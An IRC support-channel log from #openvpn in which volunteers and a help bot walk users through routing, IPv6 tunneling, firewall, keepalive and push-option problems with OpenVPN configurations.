00:07 < FluxD> Eugene, I used to use a vpn provider before and with them I didnt have to do any forwarding on client and all traffic was coming into the client correctly I am trying to replicate it
00:08 < pekster> They probably pushed --redirect-gateway
00:08 < FluxD> yes thay did
00:08 < pekster> Hence reverse routing went over the VPN for all your traffic
00:08 < FluxD> let me pastebin their stuff
00:08 < pekster> Please don't
00:08 <@Eugene> !def1
00:08 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
00:08 <@Eugene> !redirect
00:08 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:08 <@vpnHelper> http://ircpimps.org/redirect.png
00:08 <@Eugene> Read, follow chart ^
00:09 < pekster> That's a server side thing anyway and it won't help to have "half" of the setup of someone else's crap we don't support. The above info is much more helpful
00:15 < FluxD> Trying to understand it all, kinda confused now lol
00:16 < pekster> You want to accept connections from the "outside" world arriving on your server, and shunt them to your client across the VPN, right?
00:16 < FluxD> yup
00:17 < FluxD> I am thinking another IP will help
00:17 <@Eugene> I'd just do the proxy. ;-)
00:17 < FluxD> then I can put openvpn on that ip and forward all that to client
00:17 <@Eugene> If you can get an IP, yeah.
00:18 < FluxD> Eugene, I have not really messed with reverse proxy, have already gone crazy over this
00:20 < pekster> Your choices are 3-fold: 1) redirect your gateway on the client to solve the reverse-routing problem with NAT. 2) Run a reverse proxy. 3) Don't redirect the traffic, and set up policy routing to route traffic arriving to the client back across the VPN (policy routing would be set up on the client, not related to the server)
00:21 < pekster> In approximate order of difficulty if all 3 are new concepts to you, give or take
00:22 < FluxD> option one is the one that does 1:1 mapping Eugene was talking about ?
00:23 <@Eugene> That'd be 1B
00:23 <@Eugene> 1A would be to just forward the ports you're interested in
00:23 <@Eugene> Either way needs a redirect-gateway on the client... etc
00:26 < FluxD> okay thank you Eugene pekster once again
00:26 < FluxD> let me copy the entire convo so I can work on this tomorrow
00:42 -!- mattock is now known as mattock_afk
00:49 -!- mattock_afk is now known as mattock
01:22 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:29 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Quit: Nity nite]
01:31 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
01:49 -!- mattock is now known as mattock_afk
01:51 -!- dazo_afk is now known as dazo
01:51 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:52 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:52 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
02:09 -!- brute11k [~brute@89.249.235.96] has joined #openvpn
02:14 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Ping timeout: 245 seconds]
02:20 -!- brute11k [~brute@89.249.235.96] has quit [Ping timeout: 245 seconds]
02:20 -!- brute11k [~brute@89.249.235.96] has joined #openvpn
02:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:05 -!- brute11k1 [~brute@89.249.235.96] has joined #openvpn
03:06 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
03:06 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
03:07 -!- brute11k [~brute@89.249.235.96] has quit [Ping timeout: 264 seconds]
03:11 -!- brute11k [~brute@89.249.235.96] has joined #openvpn
03:12 -!- brute11k1 [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
03:21 -!- brute11k1 [~brute@89.249.235.96] has joined #openvpn
03:23 -!- brute11k [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
03:23 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
03:34 -!- ravel_cmd [~ravel_exe@210.195.232.217] has joined #openvpn
03:36 -!- ravel_exe [ravel_exe@210.195.232.217] has quit [Ping timeout: 240 seconds]
03:37 -!- ravel_cmd [~ravel_exe@210.195.232.217] has quit [Client Quit]
03:37 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
03:39 -!- brute11k [~brute@89.249.235.96] has joined #openvpn
03:43 -!- brute11k1 [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
03:45 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Quit: Gone...]
03:45 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
03:46 -!- brute11k1 [~brute@89.249.235.96] has joined #openvpn
03:46 -!- brute11k [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
03:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
03:52 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Quit: Leaving..]
03:53 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
03:57 -!- brute11k1 [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
03:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
03:59 -!- mode/#openvpn [+o plaisthos] by ChanServ
04:06 -!- brute11k [~brute@89.249.235.96] has joined #openvpn
04:12 -!- brute11k [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
04:20 -!- brute11k [~brute@89.249.235.96] has joined #openvpn
04:29 -!- brute11k [~brute@89.249.235.96] has quit [Ping timeout: 252 seconds]
04:30 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
04:35 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
04:51 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
05:07 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
05:26 < MacGyver> Is the current state of openvpn's IPv6 support s.t. I can safely do both:
05:26 < MacGyver> -Setup a routed tunnel over IPv6 *or* IPv4, tunneling both IPv6 and IPv4, and
05:26 < MacGyver> -Setup a switched tunnel (TAP) over IPv6 *or* IPv4 s.t. my client is "directly" linked to the server-side IPv6 LAN, and uses e.g. all the server-side LAN services for SLAAC etc.
05:26 < MacGyver> (The reason I'm asking is that back in december I consciously disabled IPv6 on the client I took with me to CCC because OpenVPN apparently didn't handle it very well yet.)
05:26 < MacGyver> And while on the subject - suppose I have native IPv6 connectivity, but the other tunnel endpoint only listens on v4 (but does have v6 connectivity). I setup the tunnel over v4. Is there a redirect-gateway equivalent for v6 payload, and if used in this situation, will it ensure that my v6-traffic is tunneled over the v4-tunnel instead of going out through native v6?
05:39 < jzaw> MacGyver, i am routing ipv6 over an establish ipv4 tunnel
05:39 < jzaw> (actualy tap but still routed rather than bridged)
05:39 < jzaw> but i gather one can set up either individual ipv4 or ipv6 instances of openvpn ... or a dual stack one
05:40 < jzaw> my vpn server end has native ip6
05:40 < jzaw> and i use the tunnel to route ipv6 to the client end
05:41 < jzaw> (which is behind ipv4 nat and can have a HE 6in4 switched on when the tunnel is taken down)
05:41 < Nothing4You> how much work would it be to set up an openvpn server that tunnels ipv6 to me, all my ipv4 + ipv6 traffic is sent through that server and i get a public ipv6 ip that is completely forwared to me on all ports?
05:42 < jzaw> routed?
05:42 < jzaw> not bridged?
05:42 < Nothing4You> i mean all my traffic goes through my vpn server
05:42 < Nothing4You> it lets me access ipv6
05:43 < Nothing4You> and i have a public ipv6 address that sends all the traffic i receive to my vpn client
05:43 < jzaw> not much work tbh ... though i dont have access to my conf files right now
05:43 < Nothing4You> ok
05:43 < jzaw> you set up routing exactly like you did for ipv4 (note my openvpn server was not the gw at the server end)
05:44 < Nothing4You> i don't have a server running yet
05:44 < jzaw> and in the server conf files you set up server-ipv6   server-ipv6-pool    etc etc
05:44 < Nothing4You> i also don't want a public ipv4 address for the client
05:44 < Nothing4You> just an ipv6
05:45 < jzaw> thats normal
05:45 < jzaw> most ppl dont have client end routable ips
05:45 < jzaw> (i happen to though)
05:47 < Nothing4You> (i only have 4 ipv4 addresses, but a /64 ipv6)
05:53 < jzaw> Nothing4You, this is the sort of trace you can get if you have pub ips on your vpn clients
05:53 < jzaw> http://pastebin.com/RnZAUqMj
05:53 < MorgyN> ovh/hetzner eh
05:59 -!- brad [~brad@ninja.so] has joined #openvpn
06:00 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has joined #openvpn
06:13 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
06:23 -!- dazo is now known as dazo_afk
06:34 -!- brute11k [~brute@89.249.231.107] has joined #openvpn
06:39 -!- dazo_afk is now known as dazo
06:42 -!- brute11k1 [~brute@89.249.231.107] has joined #openvpn
06:44 -!- brute11k [~brute@89.249.231.107] has quit [Ping timeout: 252 seconds]
06:46 -!- janjust [~janjust@tevere.nikhef.nl] has joined #openvpn
06:46 -!- janjust [~janjust@tevere.nikhef.nl] has quit [Changing host]
06:46 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
06:47 < janjust> yo dudes, just wanted to let you know: I'm back answering openvpn forum questions again ;)
06:47 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Remote host closed the connection]
06:47 -!- janjust [~janjust@tevere.nikhef.nl] has joined #openvpn
06:47 -!- janjust [~janjust@tevere.nikhef.nl] has quit [Changing host]
06:47 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
06:48 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit]
06:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
07:08 -!- brute11k1 [~brute@89.249.231.107] has quit [Ping timeout: 252 seconds]
07:12 -!- nEmiSH_ [~chris@user-160u5fi.cable.mindspring.com] has quit [Quit: nEmiSH_]
07:30 -!- master_of_master [~master_of@p4FF246FE.dip.t-dialin.net] has joined #openvpn
07:34 -!- master_o1_master [~master_of@p4FF24DFA.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
07:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
07:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:06 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:10 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
08:10 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Client Quit]
08:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
08:32 -!- brute11k [~brute@89.249.230.179] has joined #openvpn
08:38 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has quit [Quit: Lost terminal]
08:40 -!- SirScott [~scott@c-24-9-3-56.hsd1.co.comcast.net] has joined #openvpn
08:43 < SirScott> I'm using openvpn from a Ubuntu VM to connect up to work.  It connects fine, and I can then SSH to my machine at work.  However, once connected to that work machine, whenever I try to use my ssh keys (on that machine), it's not using the ssh keys I've setup.
08:44 < SirScott> When I run ssh with -v, I see it selecting keys that don't actually exist on my machine, so I'm unsure where those are coming from.  For instance:  identity file /home/scott/.ssh/id_ecdsa type -1  -- That doesn't exist on my machine.
08:45 <@dazo> !notovpn
08:45 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
08:46 < SirScott> alright...well... the problem only exists when using openvpn, so...where would you suggest I search instead?
08:47 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit []
09:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
09:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:04 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
09:07 < Nothing4You> SirScott: probably #openssh
09:10 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
09:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
09:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:15 < SirScott> Nothing4You: thanks :)
09:27 -!- chillpill_ [~cak054@c-68-39-90-87.hsd1.nj.comcast.net] has joined #openvpn
09:28 < chillpill_> I have just installed on my linuxmint 9 box but unable to connect to it.
09:28 < chillpill_> not sure all of the settings are correct
09:29 < chillpill_> ah I just had an idea I need to use the 10.x.x.x ip to connect to it?
09:30 < chillpill_> ok thanks for all the help
09:30 < chillpill_> you guys are wonderful
09:31 < Nothing4You> lol
09:34 < MacGyver> There, we help people by *existing*.
09:40 < chillpill_> nah that did not work you guys suck
09:40 < chillpill_> maybe i was following the wront tutorial
09:41 <@krzee> !goal
09:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:41 < chillpill_> door number 3 only connect between 2
09:42 <@krzee> !configs
09:42 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:43 < chillpill_> k good thanks
09:43 -!- tgunr [~davec@207.104.148.67] has joined #openvpn
09:44 < chillpill_> will have to come back to this I have to goto class shortly. this server is not going anywhere
09:44 < chillpill_> thanks
09:54 <@krzee> heh
09:54 <@krzee> for best results, get help when you have time to get help
09:55 < jzaw> hehe
10:10 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
10:10 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
10:10 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
10:14 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
10:15 -!- raidz_away is now known as raidz
10:17 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
10:17 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
10:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
10:20 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:21 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
10:23 -!- Orbi [~opera@46.246.35.29] has joined #openvpn
10:24 -!- tgunr [~davec@207.104.148.67] has quit [Quit: Nity nite]
10:26 -!- brute11k [~brute@89.249.230.179] has quit [Quit: Leaving.]
10:26 -!- brute11k [~brute@89.249.230.179] has joined #openvpn
10:32 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
10:40 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
10:43 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:43 -!- tgunr [~davec@207.104.148.67] has joined #openvpn
10:44 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
10:52 -!- tgunr [~davec@207.104.148.67] has quit [Quit: Nity nite]
10:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
10:59 -!- tgunr [~davec@207.104.148.67] has joined #openvpn
11:00 -!- digilink_ [~digilink@70.90.228.197] has joined #openvpn
11:01 -!- digilink [~digilink@unaffiliated/digilink] has quit [Read error: Connection reset by peer]
11:02 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:04 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:09 -!- tgunr [~davec@207.104.148.67] has quit [Quit: Nity nite]
11:13 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
11:18 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:18 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
11:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
11:30 -!- d33tah_ [~d33tah@212.191.72.35] has joined #openvpn
11:31 -!- d33tah [~d33tah@212.191.72.35] has quit [Ping timeout: 264 seconds]
11:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:45 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
11:47 -!- ek [ek@freebsd/contributor/ek] has joined #openvpn
11:48 -!- Orbi [~opera@46.246.35.29] has quit [Read error: Connection reset by peer]
11:48 < ek> Hello, all. I was wondering if anyone might be able to assist me in finding out why my OpenVPN connection dies every 30 seconds or so?
11:48 -!- Orbi [~opera@46.246.35.29] has joined #openvpn
11:48 < ek> Well, it's just using the KDE network manager. Other systems seem to work fine. I'm guessing it's related to KDE specifically...
11:50 < rob0> Try running it directly as root, maybe even without --daemon so it logs to stdout. Eliminate the KDE middleware, which we won't support here.
11:51 < ek> rob0: Yeah. I'm thinking it's a bug in KDE's stuffs. I'm going to run it directly as suggested and see what happens.
11:52 < ek> I was more curious if this was a common problem in this channel or not.
11:52 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 264 seconds]
11:52 < rob0> I have seen a lot of complaints because of GNOME's NM, specifically in Ubuntu, but not much about KDE's.
11:56 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has quit [Remote host closed the connection]
11:56 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has joined #openvpn
11:57 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
12:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:08 < ek> rob0: Hrm. Using the standard configuration in /etc/openvpn seems to work perfectly fine. *shrug*
12:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:10 < pekster> ek, many frontends "helpfully" add options or features to any provided configuration or setup, often passed as command-line flags. This makes them hard to diagnose, although you can try increased verbosity, such as verb 4 that prints the option list if you want to dig further. Bugs should be reported downstream to KDE if it's their widget that breaks things or needs better documentation
12:10 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:14 < mchou> Anyone recommend a good write-up on how to set up (iptables) firewall rules for the most common scenario?  road warrior = personal firewall = Internet = router firewall = (server firewall)  = openvpn server?
12:14 < ek> pekster: Thanks for the info. After browsing around the web, I've found that there are already many bug reports for this issue. And KVpnc crashes when trying to import a .ovpn file. Haha. Also reported many times in the bug tracker.
12:15 < mchou> I've read the openvpn 1.x example but it refers to eth0 and eth1 on the openvpn server, not sure what that's about
12:15 < ek> I don't have a problem with running it the standard way. I was just really curious why the KDE+openvpn "addon" would drop the connection every 30 seconds.
12:16 < mchou> ek: which version of kde?
12:16 < pekster> ek: No clue without digging further. If it drops a successful connection, they might be adding the --ping/--ping-restart or --keepalive values that are incompatible with the server (too small by comparison, or use of --ping-restart without --ping by the other side could do that)
12:17 < pekster> There are many similar complex interactions that cause issues when frontends make assumptions about the setup
12:19 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Quit: Leaving]
12:27 < ek> mchou: 4.8.5
12:28 < ek> pekster: That makes sense. I'm not in charge of the server. It's for work. But, I'll ask them about it when I get a chance.
12:28 < mchou> weird, that's what I'm using
12:29 < mchou> keepalives/firewall might be the culprit
12:30 < ek> Could be. Although, using openvpn any other way (aside from KDE's network manager) seems to work fine.
12:31 < pekster> keepalives interact with stateful firewalls too
12:31 < pekster> This is what I mean by subtle interactions
12:31 < pekster> KDE has changed something about how it starts openvpn, evidently without making it apparent to you. That's your problem. What exactly it did or how to fix it I can only speculate
12:32 < pekster> Again, 'verb 4' spits the entire configuration as openvpn sees it after init. Comparing the 2 might be useful
12:33 < ek> Thanks. I'll check it out.
12:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:49 < norgi> anyone has an idea on how to make layer 2 site-to-site work like in the tut on the page? The two scripts that are linked in the tut. are not available so i am little stuck.
12:49 < norgi> Other stuff i found on the internet seems to work with just one nic on the client site which does not work for me
12:52 < pekster> You haven't explained what "tut" on what "page. Why are you bridging for connecting multiple LANs?
12:53 < norgi> sorry wanted to keep it short to see if anyone can help. the tutorial i am talking about is this one http://docs.openvpn.net/how-to-tutorialsguides/virtual-platforms/site-to-site-layer-2-bridging-using-openvpn-access-server/
12:53 <@vpnHelper> Title: Site-to-Site Layer 2 Bridging Using OpenVPN Access Server and a Linux Gateway Client | Documentation (at docs.openvpn.net)
12:53 < pekster> !as
12:53 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:54 < pekster> That's also in the /TOPIC, fwiw
12:54 < MacGyver> Speaking of /topic, 2.3.1 is current, right?
12:55 < pekster> Yup
12:55 -!- mode/#openvpn [+o pekster] by ChanServ
12:55  * rob0 hides from pekster
12:56 -!- pekster changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.1 (29-Feb-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really || Not a native English speaker? say so!
12:57 -!- mode/#openvpn [-o pekster] by ChanServ
12:58 -!- mode/#openvpn [+o pekster] by ChanServ
12:58 -!- pekster changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.1 (29-Mar-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really || Not a native English speaker? say so!
12:59 -!- mode/#openvpn [-o pekster] by ChanServ
12:59 < pekster> That's better. Turns out I can still count
13:01 < jzaw> pekster, is the current being 29th march ... that close to master?
13:01 < jzaw> i didnt realise it was so up to date
13:01 < pekster> A number of important-ish fixes were committed since 2.3.0, so yea
13:02 < jzaw> nice
13:08 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:09 -!- digilink_ [~digilink@70.90.228.197] has quit [Read error: Connection reset by peer]
13:09 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:10 -!- hsn [~chatzilla@u154-43.static.grapesc.cz] has joined #openvpn
13:11 < hsn> NOTE: failed to obtain options consistency info from peer - whats this
13:12 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
13:13 < pekster> The other peer didn't return a list of options to be checked for correctness between the configuration
13:13 < hsn> on server side it looks okay, on client side there are just UDPv4 WRITE to but no READ
13:14 < pekster> Usually a firewall issue then
13:14 < pekster> At verb 5 you'll get W and R printed for reads/writes on the transport session, and w/r printed for tun reads/writes
13:15 < hsn> what i am supposed to do with windows firewall to pass traffic in?
13:16 < pekster> It does that by deafult unless you've really messed with it to convince it not to. You can try ##windows or better might be to search online
13:16 < pekster> Passes related traffic back in, for clarification
13:18 < hsn> i have firwewall disabled for TAP device in windows
13:18 < pekster> Tunneled traffic doesn't go over the tunnel
13:19 < pekster> The encapsulating packets go over your physical internet connection
13:19 < pekster> You have a firewall problems somewhere if packets don't come back from your peer
13:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:21 < hsn> client port is 1194?
13:23 < hsn> i disabled firewall and it does not work either
13:24 -!- brad [~brad@ninja.so] has quit [Quit: leaving]
13:24 -!- ravel_exe [ravel_exe@210.195.232.217] has quit []
13:25 -!- brad [~brad@ninja.so] has joined #openvpn
13:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
13:28 < pekster> Is the server directly connected to the client? *any* firewall can cause problems
13:28 < pekster> Do you get any packets back? What does a tcpdump show? What is thte verb 5 output?
13:29 < hsn> on server side i see both reads and writes, on client side  i see just writes
13:30 < pekster> So packets aren't getting to the client. Trace the packets at each step of the way to see where they get lost. Is the router sending them to the client? Does the request even arrive to the router's upstream interface?
13:32 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
13:33 < hsn> ntp protocol which is UDP based too works fine, i see no openvpn responses from server in wireshark
13:37 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:39 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Quit: Leaving]
13:39 < hsn> i think server will send reply from different IP then request because he has more IPs and provider will filter it
13:42 < pekster> The reply must come to the client from the same IP it was sent to, yes. If your server is multi-homed, you should configure policy routing correctly
13:42 -!- norgi2 [~norgi@178.74.47.98] has joined #openvpn
13:43 -!- norgi [~norgi@luleavn-1x-246.studentby.uit.no] has quit [Ping timeout: 256 seconds]
13:47 -!- havoc [~havoc@neptune.chaillet.net] has quit [Read error: Operation timed out]
13:47 < hsn> i used local in server config and now it works
13:47 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
13:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
13:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:50 < hsn> push route does not work
13:51 -!- mchou_ [~quassel@unaffiliated/mchou] has joined #openvpn
13:52 -!- mchou [~quassel@unaffiliated/mchou] has quit [Ping timeout: 240 seconds]
13:52 < hsn> do i need keepalive in both server and client config
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:55 < pekster> Yes, both sides need to send pings since they're not symmetric, they're one-way pings
13:56 < pekster> So if your client has --ping-restart, for instance, but the server doesn't use --ping (which is implied in --keepalive) then the client will "never" get a ping, even if it pings, and will thus assume the host is non-responsive
13:56 < pekster> Match them on both sides of your connection
13:56 < pekster> Or just push it from the server
13:57 < hsn> whats command for pushing it from server?
13:57 -!- ek [ek@freebsd/contributor/ek] has left #openvpn []
13:57 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:57 < pekster> !push
13:58 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
13:58 < pekster> Have you seen the howto? A lot of this is fairly basic and already explained there
13:58 < pekster> !howto
13:58 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
14:04 < hsn> i did. push options to client does not work for me. neither routes neither keepalive is accepted by client
14:06 < pekster> Paste your !configs and !logs
14:07 < hsn> !logs
14:07 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:08 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
14:10 -!- norgi [~norgi@luleavn-1x-246.studentby.uit.no] has joined #openvpn
14:11 < hsn> http://pastebin.ca/2353983
14:12 < hsn> http://pastebin.ca/2353986
14:12 -!- norgi2 [~norgi@178.74.47.98] has quit [Ping timeout: 256 seconds]
14:12 < DrCode> hi all
14:12 < DrCode> how can I had static route in openvpn
14:12 < DrCode> I need that openvpn server will had static router after it connect ,I do it manualy
14:12 < DrCode> is there option?
14:12 < pekster> DrCode: See --route in the manpage. That can be pushed too
14:13 < DrCode> ok
14:13 < DrCode> thankyou
14:13 < pekster> More links if you need background reading:
14:13 < pekster> !route
